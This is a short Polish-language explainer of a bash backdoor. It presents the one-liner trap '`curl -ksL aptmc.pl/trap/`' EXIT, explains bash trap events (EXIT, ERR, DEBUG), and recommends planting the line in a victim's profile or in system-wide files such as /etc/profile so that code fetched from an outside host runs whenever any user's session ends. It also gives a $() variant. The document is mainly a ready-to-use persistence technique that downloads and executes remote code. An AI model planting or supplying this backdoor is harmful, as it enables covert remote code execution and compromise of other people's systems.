trap '`curl -ksL aptmc.pl/trap/`' EXIT - backdoor uruchamiający złośliwy payload po zakończeniu sesji terminala
Polecenie trap pozwala bashowi przechwycić sygnały (np. SIGUSR, SIGINT, SIGTERM ( trap -l wyświetli ich listę)) i uruchomić odpowiedni kod, kiedy wystąpią. Zamiast sygnałów, trap obsługuje jeszcze 3 inne zdarzenia:
- EXIT - zakończenie skryptu/sesji,
- ERR - polecenie zakończyło się błędem (zwróciło wartość różną od 0),
- DEBUG - zdarzenie wywoływane przed uruchomieniem każdego polecenia.
W naszym wypadku przypisaliśmy akcję do zdarzenia EXIT, ale dwie pozostałe są również bardzo ciekawe.
Wystarczy dopisać komuś ten oneliner do pliku profilowego, lub najlepiej do pliku profilowego czytanego przez wszystkich użytkowników (np. /etc/profile, /etc/bashrc czy jeden z plików w katalogu /etc/profile.d/) i za każdym razem, kiedy użytkownik zakończy swoją sesję basha, zostanie wykonane polecenie `curl -ksL aptmc.pl/trap/` - czyli zostanie uruchomiony kod znajdujący się na stronie aptmc.pl/trap/.
Zamiast backticków (``) powodujących uruchomienie polecenia zwróconego przez polecenie znajdujące się wewnątrz, możemy wykorzystać tożsamą konstrukcję z $() czyli: $(curl -ksL aptmc.pl/trap/).